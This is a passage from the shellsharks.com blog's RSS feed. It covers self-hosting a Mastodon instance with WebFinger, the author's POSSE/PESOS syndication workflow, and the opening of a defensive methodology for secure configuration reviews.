&lt;p&gt;Regardless of where I am now or where I go in the future, you should always be able to @ me on the Fediverse by @’ing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@[whatever]@shellsharks.com&lt;/code&gt;. Thanks to the magic of &lt;a href=&quot;https://www.hanselman.com/blog/use-your-own-user-domain-for-mastodon-discoverability-with-the-webfinger-protocol-without-hosting-a-server&quot;&gt;Webfinger&lt;/a&gt;, this will redirect ActivityPub messages to whatever is my current main Fediverse account. &lt;em&gt;Cool stuff&lt;/em&gt;!&lt;/p&gt;

&lt;p&gt;Many thanks to Masto.host for making this possible and so painless!&lt;/p&gt;

&lt;h3 id=&quot;accounts&quot;&gt;Accounts&lt;/h3&gt;

&lt;p&gt;Here’s a quick breakdown of the accounts I have planned for &lt;strong&gt;&lt;a href=&quot;https://shellsharks.social/&quot;&gt;shellsharks.social&lt;/a&gt;&lt;/strong&gt; and how I’ll be using them.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.social/@shellsharks&quot;&gt;shellsharks@shellsharks.social&lt;/a&gt;&lt;/strong&gt; - My main account.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.social/@afterdark&quot;&gt;afterdark@shellsharks.social&lt;/a&gt;&lt;/strong&gt; - Late-night sillies, shit-posting, meta-commentary.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Site@shellsharks.social&lt;/em&gt; - I am considering standing up an account that simply posts updates that are made to the site.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;mike@shellsharks.com&lt;/em&gt; - Reserving this name in the event I want to migrate my “general” account from mastodon.social.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;thanks-to-infosecexchange&quot;&gt;Thanks to infosec.exchange&lt;/h1&gt;

&lt;p&gt;I know this post is about where I am &lt;em&gt;&lt;a href=&quot;#&quot;&gt;now&lt;/a&gt;&lt;/em&gt;, but I think it’s worth taking a minute to wax poetic about &lt;strong&gt;&lt;a href=&quot;https://infosec.exchange/&quot;&gt;infosec.exchange&lt;/a&gt;&lt;/strong&gt;. It was afterall, the incubator in which I became such a proponent of the &lt;a href=&quot;https://www.fediverse.to&quot;&gt;Fediverse&lt;/a&gt;, learned so much about the &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt; and where I met hundreds of cool, like-minded tech and infosec people. If you are in infosec (especially), I can’t recommend a place to be social more than I would recommend infosec.exchange. Though there are some other &lt;a href=&quot;https://shellsharks.com/mastodon#infosec-instances&quot;&gt;infosec-related servers&lt;/a&gt; out there, (and they are in their own right great) there is no comparison to infosec.exchange. &lt;a href=&quot;https://infosec.exchange/deck/@jerry&quot;&gt;Jerry Bell&lt;/a&gt;, the owner, admin and proprietor of infosec.exchange (and a ton of &lt;a href=&quot;https://infosec.exchange/@jerry/110781964594201103&quot;&gt;other Fediverse properties&lt;/a&gt;) is (and I’ve said this so many times over the last year+) mind-bogglingly attentive, extraordinarily compassionate, technologically gifted (I mean his ability to run so many Fediverse servers blows my mind), and honestly seems like a really nice person (I’ve not had the pleasure of meeting him). He’s created a very welcoming space and is always looking at how to improve server performance and keep the community happy and engaged. It is so great in fact, that I still fully scroll the infosec.exchange Local feed multiple times a day to find new things to engage with and new people to follow. My &lt;a href=&quot;https://infosec.exchange//@shellsharks&quot;&gt;old account&lt;/a&gt; (though it has a moved-to/redirect) is still there and you can peruse my year+ worth of posts if you wanted to see how much fun I had in that time. (Alternatively I have turned my &lt;a href=&quot;https://shellsharks.com/toots/infosec-exchange/shellsharks/&quot;&gt;toot archive&lt;/a&gt; into a scrollable page.)&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
So I&apos;ll just say, Thanks for everything Jerry. Your hard work in bringing the Fediverse to so many does not go unappreciated. 🧡
&lt;/div&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;some-other-random-thingslinks&quot;&gt;Some other random things/links&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.thms.uk/2023/01/setting-up-mastodon&quot;&gt;A Mastodon installation guide I tried to use&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://shellsharks.com/.well-known/webfinger?resource=acct:shellsharks@shellsharks.com&quot;&gt;Find me using Webfinger&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://qoto.org/@acjay/109402029934201998&quot;&gt;An interesting discussion on using Mastodon’s ALTERNATE_DOMAIN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://joanwestenberg.com/blog/the-creator-economy-trap-why-building-on-someone-elses-platform-is-a-dead-end&quot;&gt;Joan Westenberg on Self-hosting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://coryd.dev/posts/2024/your-site-your-home-your-web/&quot;&gt;Your Site, Your Home, Your Web | Cory D&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thedabbler.patatas.ca/pages/go_to_social.html&quot;&gt;GoToSocial&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wedistribute.org/2024/03/we-distribute-social/&quot;&gt;We Distribute on why they made their own Mastodon instance&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Thu, 28 Mar 2024 00:17:00 -0400</pubDate>
        <link>https://shellsharks.com/own-my-social</link>
        <guid isPermaLink="true">https://shellsharks.com/own-my-social</guid>
        
        <category>technology</category>
        
        <category>shellsharks</category>
        
        <category>mastodon</category>
        
        <category>fediverse</category>
        
        <category>indieweb</category>
        
        <category>selfhosting</category>
        
        <category>social</category>
        
        <category>bestof</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Shellsharks Syndication Strategy</title>
        <shark:summary><p>One core strategy of the <a href="https://shellsharks.com/indieweb">IndieWeb</a> is <strong><a href="https://indieweb.org/Category:syndication">syndication</a></strong>, i.e. cross-posting content to &amp; from your site between other destinations / platforms / social networks. There are two approaches to syndication—<a href="https://indieweb.org/POSSE">POSSE</a> (<em>Post Own Site Syndicate Everywhere</em>) and <a href="https://indieweb.org/PESOS">PESOS</a> (<em>Post Everywhere Syndicate Own Site</em>). With POSSE, you post on your site first and then syndicate everywhere you want to cross-post, and with PESOS you’re using networks as you traditionally would but replicating content <em>back</em> (i.e. <em><a href="https://shellsharks.com/notes/2024/04/02/reverse-syndication-pesos">reverse syndication</a></em>) to your site to maintain a copy. 
<br /><br />
This page walks through the <span class="shellsharks-com">Shellsharks</span> syndication <a href="#syndication-workflow">workflow</a> and <a href="#syndication-philosophy">philosophy</a>, as well as the <a href="#syndication-destinations">places on the web</a> I typically syndicate content. To learn more about the many types of content I publish, go <a href="https://shellsharks.com/multiplicity-of-writing">here</a>.</p>
</shark:summary>
        <description>&lt;p&gt;One core strategy of the &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; is &lt;strong&gt;&lt;a href=&quot;https://indieweb.org/Category:syndication&quot;&gt;syndication&lt;/a&gt;&lt;/strong&gt;, i.e. cross-posting content to &amp;amp; from your site between other destinations / platforms / social networks. There are two approaches to syndication—&lt;a href=&quot;https://indieweb.org/POSSE&quot;&gt;POSSE&lt;/a&gt; (&lt;em&gt;Post Own Site Syndicate Everywhere&lt;/em&gt;) and &lt;a href=&quot;https://indieweb.org/PESOS&quot;&gt;PESOS&lt;/a&gt; (&lt;em&gt;Post Everywhere Syndicate Own Site&lt;/em&gt;). With POSSE, you post on your site first and then syndicate everywhere you want to cross-post, and with PESOS you’re using networks as you traditionally would but replicating content &lt;em&gt;back&lt;/em&gt; (i.e. &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/notes/2024/04/02/reverse-syndication-pesos&quot;&gt;reverse syndication&lt;/a&gt;&lt;/em&gt;) to your site to maintain a copy. 
&lt;br /&gt;&lt;br /&gt;
This page walks through the &lt;span class=&quot;shellsharks-com&quot;&gt;Shellsharks&lt;/span&gt; syndication &lt;a href=&quot;#syndication-workflow&quot;&gt;workflow&lt;/a&gt; and &lt;a href=&quot;#syndication-philosophy&quot;&gt;philosophy&lt;/a&gt;, as well as the &lt;a href=&quot;#syndication-destinations&quot;&gt;places on the web&lt;/a&gt; I typically syndicate content. To learn more about the many types of content I publish, go &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;syndication-destinations&quot;&gt;Syndication Destinations&lt;/h2&gt;

&lt;p&gt;Here’s a list of places I typically share content to.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;span class=&quot;shellsharks-com&quot;&gt;&lt;a href=&quot;https://shellsharks.com/&quot;&gt;shellsharks.com&lt;/a&gt;&lt;/span&gt;: This is the origin for a lot of my content but also where I &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/notes/2024/04/02/reverse-syndication-pesos&quot;&gt;reverse-syndicate&lt;/a&gt;&lt;/em&gt; some posts that originate from elsewhere on the web.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mastodon&lt;/strong&gt; / the &lt;a href=&quot;https://shellsharks.com/fediverse&quot;&gt;Fediverse&lt;/a&gt;: Many (but not all) microblog posts come back to this site as &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing#notes&quot;&gt;notes&lt;/a&gt;. I share a lot of my original posts here to the Fediverse.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threads&lt;/strong&gt;: I use this sparingly, but sometimes I will post links to my content from here on Threads.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Lemmy&lt;/strong&gt; / &lt;strong&gt;Kbin&lt;/strong&gt;: I share content to, and occassionally pull content back-from, the &lt;a href=&quot;https://shellsharks.com/threadiversal-travel&quot;&gt;threadiverse&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Pixelfed&lt;/strong&gt;: I don’t share _ lot of photos, but if/when I do, I will put them on &lt;a href=&quot;https://pixel.infosec.exchange/shellsharks&quot;&gt;Pixelfed&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Discord&lt;/strong&gt;: I’m in a ton of Discord servers, I definitely share some links to my site there.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Bluesky&lt;/strong&gt;: I’m not particularly active on Bluesky, but I will occassionally share links there.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Reddit&lt;/strong&gt;: I’ve &lt;a href=&quot;https://shellsharks.com/threadiversal-travel&quot;&gt;mostly given up here&lt;/a&gt; for now.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;YouTube&lt;/strong&gt;: I shared a &lt;a href=&quot;https://www.youtube.com/@shellsharks&quot;&gt;video&lt;/a&gt; once. Any future videos might go there too. 🤷‍♂️&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Other&lt;/strong&gt; (e.g. LinkedIn, Matrix, Nostr, Squabblr, etc…): I share a lot of links &lt;em&gt;out&lt;/em&gt; to these various places.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;syndication-philosophy&quot;&gt;Syndication Philosophy&lt;/h2&gt;

&lt;p&gt;How do I cross-post content and why do I feel the need to “syndicate” content in this way? Here’s a ramble-tastic explanation…&lt;/p&gt;

&lt;p&gt;I reckon less people than ever use straight-up bookmarks to save and revisit websites they enjoy. These days, social media is how people discover and consume content. It would be great if everyone had an &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss&quot;&gt;RSS aggregator&lt;/a&gt; and &lt;a href=&quot;https://shellsharks.com/feeds&quot;&gt;subscribed&lt;/a&gt; to the &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing&quot;&gt;many things&lt;/a&gt; I publish here using that, but the reality is the majority of people don’t even know what RSS is. So, if I want people to find my site or read my writing, I need to be where said people &lt;em&gt;are&lt;/em&gt;—and these days people are all over the place. Unless I syndicate to &lt;a href=&quot;#syndication-destinations&quot;&gt;multiple places&lt;/a&gt;, I just won’t reach ~everyone. Therefore, I need to publish my &lt;em&gt;stuff&lt;/em&gt; to a bunch of places.&lt;/p&gt;

&lt;p&gt;What happens when a platform dies? Many people are finding out as “X” (&lt;em&gt;f.k.a.&lt;/em&gt; Twitter) burns. The communities you’ve built, your social “graph” and your content that is on these platforms all go up in flames as well. If you build a site, keep copies of your content there and establish yourself identity on the web as your site’s domain, rather than your &lt;em&gt;@&lt;/em&gt; handle on whatever social platform, you can better retain your “following” in the wake of said social platform’s death. Backlinking to your site within your social media posts is a great way for people to associate &lt;em&gt;you&lt;/em&gt; with your site, rather than just your &lt;em&gt;@&lt;/em&gt; handle. Establishing this fixed, long-term &lt;a href=&quot;https://shellsharks.com/notes/2023/08/16/your-website-your-identity&quot;&gt;identity on the web&lt;/a&gt; is very important. Platforms come and go, but in theory a domain you purchase and establish can be a way for people to find you indefinitely.&lt;/p&gt;

&lt;p&gt;This is one thing about &lt;a href=&quot;https://blueskyweb.xyz&quot;&gt;Bluesky&lt;/a&gt; that I really like. They introduced a way to &lt;a href=&quot;https://blueskyweb.xyz/blog/4-28-2023-domain-handle-tutorial&quot;&gt;make a domain you own your handle&lt;/a&gt;. So on Bluesky, I am &lt;a href=&quot;https://bsky.app/profile/shellsharks.com&quot;&gt;shellsharks.com&lt;/a&gt;. &lt;em&gt;Cool!&lt;/em&gt; The &lt;a href=&quot;https://webfinger.net&quot;&gt;WebFinger&lt;/a&gt; protocol offers another interesting path for facilitating a persistent &lt;em&gt;social&lt;/em&gt; identity. I’ve set up the WebFinger endpoint for my site so now when you search for “shellsharks.com” (my site’s domain) on Mastodon, my primary Fediverse profile will be the search result. It would be cool to see more sites support something like &lt;a href=&quot;https://indieauth.com&quot;&gt;IndieAuth&lt;/a&gt; for authentication/identity. You could use your site as a source of identity rather than having to fight for &lt;em&gt;@&lt;/em&gt; handles on every new platform that pops up.&lt;/p&gt;

&lt;p&gt;Speaking of the &lt;a href=&quot;https://throwawayopinions.io/the-paradox-of-intolerance.html&quot;&gt;disaster that is X&lt;/a&gt;, especially for content creators, consider now that X has taken a hostile position against external links, preventing discovery or even existence of links that would send you away from the site. This is among many other things that make X utterly uninhabitable. This sort of late-stage, dystopic platform lock-in prevents people from being exposed to the larger open web.&lt;/p&gt;

&lt;p&gt;Content ownership is a foundational tenant of the &lt;a href=&quot;https://indieweb.org&quot;&gt;IndieWeb&lt;/a&gt;, and for good reason! When all your content exists within someone elses platform you lose a lot of control. Platform death could mean the loss of all your content. You are subject to questionable content moderation policies that could result in your content being removed or suppressed, and of course you allow these companies to profit off of and get credit for your work rather than yourself.&lt;/p&gt;

&lt;p&gt;So what’s my strategy? Do I simply write / publish something on my blog and then link to it on &lt;em&gt;every&lt;/em&gt; destinaton platform the exact same way? &lt;em&gt;Nope&lt;/em&gt;, it’s a bit more nuanced than that, and as a result, does not have a lot of automation tied to it at this time. There is a lot that I consider when determining if and how I will syndicate content to a particular destination. Who is my audience? For example, if I’m posting a note about my favorite accounts to follow on Mastodon, I probably wouldn’t post it on Threads. Each platform has their own culture / norms—for example on Mastodon, I may use hashtags to help with discoverability, but with Threads I would not. Mastodon is a more technical crowd so I may reserve more technical content for that site. A lot of micro-blog-esque social media (e.g. X, Threads, even vanilla Mastodon) allow for only a couple hundred characters in a post. This means any syndicated content is typically just a summary and a link to the full post rather than dropping in the full content in the post itself. When I have something to say, it’s too-often &amp;gt;500 characters, so sharing via a link to my site is really the only way to go. To capture association between a post on my site and where I have syndicated it to, I have a &lt;a href=&quot;#syndication-workflow&quot;&gt;mechanism&lt;/a&gt; on the site to drop the direct-links to social media posts on the blog post source so that the syndication links show up at the bottom of each post.&lt;/p&gt;

&lt;p&gt;So does &lt;em&gt;everything&lt;/em&gt; I post get syndicated out? Does everything I post first on social media get reverse-syndicated back to the site? &lt;em&gt;No&lt;/em&gt; and &lt;em&gt;no&lt;/em&gt;. There are some things on the site that are experimental, more personal or just don’t easily fit into other spaces. For those posts, I leave them on the site for my own reference and for those who like my content enough to have either subscribed to the &lt;a href=&quot;https://shellsharks.com/feeds&quot;&gt;RSS feeds&lt;/a&gt; or peruse my site intermittently. As for my social media &lt;a href=&quot;https://shellsharks.com/notes/2024/04/02/reverse-syndication-pesos&quot;&gt;reverse syndication&lt;/a&gt;, I have no formal rule for this, but I tend to only publish things on my site that originated from social media if A. it’s decent reference material, i.e. I would want to go back to it or update it at some point, B. It get’s a lot of attention and becomes worthy of archival, or C. it’s a longer or more thoughtful post. 99% of the time, these posts become &lt;a href=&quot;https://shellsharks.com/notebook&quot;&gt;notes&lt;/a&gt; on my site. This applies to replies as well, not just original posts by me.&lt;/p&gt;

&lt;p&gt;I mentioned that I don’t use a lot of automation in my &lt;a href=&quot;#syndication-workflow&quot;&gt;syndication methodology&lt;/a&gt;. This is in part because I haven’t spent the time to automate any part of the workflow, but equally it is because of this nuance in how I want to share my content. I rarely, if ever post the same content in the same way across multiple platforms. Therefore, I can’t really rely on an automation that would take a newly published blog post or note and simply repost it verbatim everywhere else. Another important aspect of &lt;em&gt;not&lt;/em&gt; automating this sort of thing is that for anywhere I want my content to go, I really want to be a &lt;em&gt;citizen&lt;/em&gt; of that platform. Rather than blasting a link to my site &lt;em&gt;everywhere&lt;/em&gt;, I’d rather hand-post it and then interact with replies. Further, by being someone who actively scrolls these feeds, I get a better feel for how I should post things, what would be interesting to those on the network, and how I can more contextually post my content as replies to other peoples posts. For example, my first-ever post on this site was on how to get into infosec. My social networks happen to be filled with infosec professionals and aspiring pros who frequently asked about &lt;a href=&quot;https://shellsharks.com/getting-into-information-security&quot;&gt;how to get into the field&lt;/a&gt;. There’s my opportunity to reply with a link to that post! &lt;a href=&quot;https://shellsharks.com/notes/2023/09/20/engagement-on-mastodon&quot;&gt;I’ve said this before&lt;/a&gt;, boosting engagement on social media is more about how you &lt;em&gt;actually engage&lt;/em&gt; with others, rather than expecting mass response to your own original posts.&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://shellsharks.com/indieweb&quot;&gt;IndieWeb&lt;/a&gt; actually has its own “social” capability—&lt;a href=&quot;https://indieweb.org/Webmention&quot;&gt;Webmentions&lt;/a&gt;. Shellsharks.com hasn’t implemented Webmentions for technical and non-technical reasons. Getting it to work via Github Pages/statically generated Jekyll is &lt;a href=&quot;https://keithjgrant.com/posts/2019/02/adding-webmention-support-to-a-static-site/&quot;&gt;not&lt;/a&gt; for the faint of heart. More than that though, I don’t see Webmentions being particuarly viable in its current form—moreso just a checkmark for IndieWeb superfans or those that really despise the idea of using any traditional social media platform. One thing Webmentions and the technology that facilitates it supports is the concept of bridging post replies &lt;em&gt;back&lt;/em&gt; to your site in the form of a comments feed. For me, this would be &lt;u&gt;bad&lt;/u&gt;. I don’t want a bunch of comments junking up my post, nor do I really want to be made painfully aware of posts that never received any engagement (&lt;em&gt;haha&lt;/em&gt;). Further, having comments on my site means having to perform moderation—&lt;em&gt;no thanks&lt;/em&gt;. IndieWeb zealots also believe in having other post metadata available directly on the site of origin—things like likes and reposts. Again, more unncessary cruft. I think having links to where you’ve syndicated content is sufficient. By going out to the platform a syndicated post lives on you can easily see the likes and resposts.&lt;/p&gt;

&lt;p&gt;There ya go! This is how and why I syndicate &lt;span class=&quot;shellsharks-com&quot;&gt;shellsharks&lt;/span&gt; content across the web.&lt;/p&gt;

&lt;h1 id=&quot;syndication-workflow&quot;&gt;Syndication Workflow&lt;/h1&gt;

&lt;p&gt;A walkthrough of my (&lt;a href=&quot;https://indieweb.org/POSSE&quot;&gt;POSSE&lt;/a&gt;) syndication approach.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I write the blog post / note / &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing#content-types&quot;&gt;thing&lt;/a&gt;&lt;/em&gt; &lt;u&gt;here&lt;/u&gt; (&lt;em&gt;duh&lt;/em&gt;).&lt;/li&gt;
  &lt;li&gt;Since I use &lt;a href=&quot;https://pages.github.com&quot;&gt;GitHub Pages&lt;/a&gt;, the content is published by committing it to the repo on GitHub.&lt;/li&gt;
  &lt;li&gt;I have frontmatter on my post for where the content is syndicated to. At first, this is left blank.&lt;/li&gt;
  &lt;li&gt;Once the post is published, (if) I share the the post on &lt;a href=&quot;#syndication-destinations&quot;&gt;a social platform&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;The syndicated post will (most of the time) include a back-link to the source post on my site.&lt;/li&gt;
  &lt;li&gt;Once the syndicated post is published, I copy the direct links to each and include them in the frontmatter for the original post on my site.&lt;/li&gt;
  &lt;li&gt;I then have to recommit the post with the syndication link in the front matter.&lt;/li&gt;
  &lt;li&gt;The syndication links then appear at the bottom of individual post on my site. &lt;em&gt;Ta da&lt;/em&gt;!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For &lt;a href=&quot;https://indieweb.org/PESOS&quot;&gt;PESOS&lt;/a&gt; it is a similar, but slightly tweaked approach.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I share some sort of content on &lt;a href=&quot;#syndication-destinations&quot;&gt;somewhere on the web&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;I copy that content into the appropriate &lt;a href=&quot;https://shellsharks.com/multiplicity-of-writing#content-types&quot;&gt;type of post&lt;/a&gt; for my site.&lt;/li&gt;
  &lt;li&gt;I include the link to the original post on the respective social platform in the front matter of the post on my site.&lt;/li&gt;
  &lt;li&gt;I commit the post to my site’s GitHub repo and it goes live within minutes!&lt;/li&gt;
  &lt;li&gt;The syndication link is immediately available on the bottom of the live post.&lt;/li&gt;
&lt;/ol&gt;

&lt;h1 id=&quot;more&quot;&gt;More&lt;/h1&gt;

&lt;p&gt;&lt;a href=&quot;https://www.theverge.com/the-vergecast&quot;&gt;The Vergecast&lt;/a&gt;’s podcast episode “&lt;a href=&quot;https://youtu.be/KPUEDik-XZY&quot;&gt;The poster’s guide to the new internet&lt;/a&gt;” provides some historical context regarding the challenges facing modern syndication strategies with respect to the “IndieWeb”. I recommend listening as it is very interesting and educational!&lt;/p&gt;
</description>
        <pubDate>Mon, 20 Nov 2023 09:54:00 -0500</pubDate>
        <link>https://shellsharks.com/syndication-strategy</link>
        <guid isPermaLink="true">https://shellsharks.com/syndication-strategy</guid>
        
        <category>nablopomo</category>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        <category>posse</category>
        
        <category>pesos</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
        <category>slashpage</category>
        
      </item>
    
      <item>
        <title>Secure Configuration Review</title>
        <shark:summary><p>A <strong><a href="#conducting-a-secure-configuration-review">secure configuration review</a></strong> is an evaluation and verification of <em>configurable</em> <a href="#security-related-configuration-settings">settings</a> within a composite system. In scope for this type of assessment are system settings that are <a href="#configuration-contexts">modifiable by</a> a user, an admin user or the system vendor. Specifically, system settings that have an impact on the overall security posture of the system are assessed to determine what the <em>most</em> “secure” state is and whether it is secure-by-default (or similarly <em>secured-by-design</em>). This is in contrast to other types of security assessments that seek to identify design flaws or traditional vulnerabilities which are fixed by code changes or architectural adjustments, rather than simple application-level toggles/tweaks.</p>
</shark:summary>
        <description>&lt;p&gt;A &lt;strong&gt;&lt;a href=&quot;#conducting-a-secure-configuration-review&quot;&gt;secure configuration review&lt;/a&gt;&lt;/strong&gt; is an evaluation and verification of &lt;em&gt;configurable&lt;/em&gt; &lt;a href=&quot;#security-related-configuration-settings&quot;&gt;settings&lt;/a&gt; within a composite system. In scope for this type of assessment are system settings that are &lt;a href=&quot;#configuration-contexts&quot;&gt;modifiable by&lt;/a&gt; a user, an admin user or the system vendor. Specifically, system settings that have an impact on the overall security posture of the system are assessed to determine what the &lt;em&gt;most&lt;/em&gt; “secure” state is and whether it is secure-by-default (or similarly &lt;em&gt;secured-by-design&lt;/em&gt;). This is in contrast to other types of security assessments that seek to identify design flaws or traditional vulnerabilities which are fixed by code changes or architectural adjustments, rather than simple application-level toggles/tweaks.&lt;/p&gt;

&lt;p&gt;Secure configuration reviews are typically conducted as part of a wider portfolio of security assessment activities (e.g. threat model, penetration test, design review, etc…) prior to system “go-live”. This review is ideally revisited &lt;em&gt;directly&lt;/em&gt; before the system is promoted to production to ensure configurations are in fact in the previously determined/attested secure state. (* &lt;strong&gt;Note&lt;/strong&gt;: &lt;em&gt;I refer to this as a “Pre-Launch Security Review”, the effect of which is commonly found in heavily change-managed environments, albeit under a different name&lt;/em&gt;.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://owasp.org/Top10/A05_2021-Security_Misconfiguration/&quot;&gt;Security misconfigurations&lt;/a&gt;&lt;/strong&gt; are prime targets for threat actors due to their &lt;em&gt;commonality&lt;/em&gt; and &lt;em&gt;ease of discovery&lt;/em&gt;. To explain - If a threat actor has access to an instance of the system, they can easily enumerate all possible attack vectors and vulnerabilities that manifest due to misconfiguration. As for their commonality, misconfigurations are frequent due to human error, usability-over-security demands, and insecure defaults, among other things.&lt;/p&gt;

&lt;p&gt;With that primer out of the way, let’s walk through a methodology for &lt;a href=&quot;#conducting-a-secure-configuration-review&quot;&gt;conducting secure configuration reviews&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;conducting-a-secure-configuration-review&quot;&gt;Conducting a Secure Configuration Review&lt;/h1&gt;
&lt;p&gt;The steps for conducting a &lt;strong&gt;secure configuration review&lt;/strong&gt; are documented below. Consider the mnemonic “&lt;strong&gt;ICECAP&lt;/strong&gt;” to remember the sequence!&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Identify and profile&lt;/strong&gt; the system to be reviewed. The profile should include basic pre-assessment information like technical PoC, data classification in-scope, externality, business purpose, etc…&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Collect &lt;a href=&quot;#requisite-assessment-inventory&quot;&gt;artifacts and access&lt;/a&gt;&lt;/strong&gt; needed to perform the assessment. This would ideally include a plan from the implementor where they have documented how they intend to configure/secure the system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Enumerate&lt;/strong&gt; &lt;a href=&quot;#security-related-configuration-settings&quot;&gt;security-related configurable settings&lt;/a&gt; within the system by leveraging access to the system and (hopefully) full documentation. For each identified config, document the default/by-design state and what the most secure state would be, paying special attention to settings that are insecure-by-default. Remember that different settings will be exposed depending on your &lt;a href=&quot;#configuration-contexts&quot;&gt;privilege/user-context&lt;/a&gt;. This will ultimately yield a &lt;em&gt;secure configuration baseline&lt;/em&gt;.&lt;/p&gt;

    &lt;ul&gt;
      &lt;li&gt;For security-related settings you don’t find configurable within the system interface, and that you are particularly concerned with, consider asking the vendor whether it is configurable in the back-end by the vendor themselves. If not, you can atleast ask (or test), and document what the hardcoded setting is. In some cases, it may be easier to ask a blanket statement around what settings may only be toggleable by the vendor. They may also be willing to provide a vendor-written hardening guide for their platform or share what insecure-by-default settings they are aware of.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Compare&lt;/strong&gt; the implementors planned configuration/design with the secure configuration baseline developed in the previous step. For any deltas, work with the implementor on either mitigating misconfigurations or documenting the risk of a less-secure configuration.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Attestation&lt;/strong&gt; should be obtained from the implementor stating the intended configurations are in adherence with organizational policies (logical/non-technical controls) and any applicable, approved risk exceptions. This can be attached to the assessment case.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;em&gt;Optional&lt;/em&gt;: &lt;strong&gt;Pre-Launch Security Review&lt;/strong&gt; (PLSR) is conducted directly before the system is promoted to production as one last assurance step, confirming agreed upon configurations are in place.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;* &lt;em&gt;Consider that secure configuration reviews typically identify settings within a system that are configurable to either a more secure or less secure state. Assurance around whether these states do in-fact provide heightened security is typically left to security reviews that dig deeper into the functionality of the system (i.e. penetration test).&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;requisite-assessment-inventory&quot;&gt;Requisite Assessment Inventory&lt;/h2&gt;
&lt;p&gt;The list below contains the artifacts, documents and access(es) typically required to conduct a proper &lt;a href=&quot;#conducting-a-secure-configuration-review&quot;&gt;secure configuration review&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;System architecture diagrams&lt;/li&gt;
  &lt;li&gt;System security/hardening/implementation plan from the implementor(s)&lt;/li&gt;
  &lt;li&gt;User/Admin guides/documentation&lt;/li&gt;
  &lt;li&gt;Technical PoC from the vendor/developer/implementor to ask questions&lt;/li&gt;
  &lt;li&gt;Access to the platform (user &lt;em&gt;and&lt;/em&gt; admin privileges)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;configuration-contexts&quot;&gt;Configuration Contexts&lt;/h2&gt;
&lt;p&gt;Configurable settings within a system/platform are exposed in a variety of &lt;strong&gt;contexts&lt;/strong&gt;, each with differences in terms of what is exposed and who has access to modify them. These contexts are described in the list below.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;User&lt;/strong&gt; - Settings configurable by a normal, non-privileged user.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;User-Admin&lt;/strong&gt; - Settings configurable only by privilieged/administrative users of the system.&lt;/li&gt;
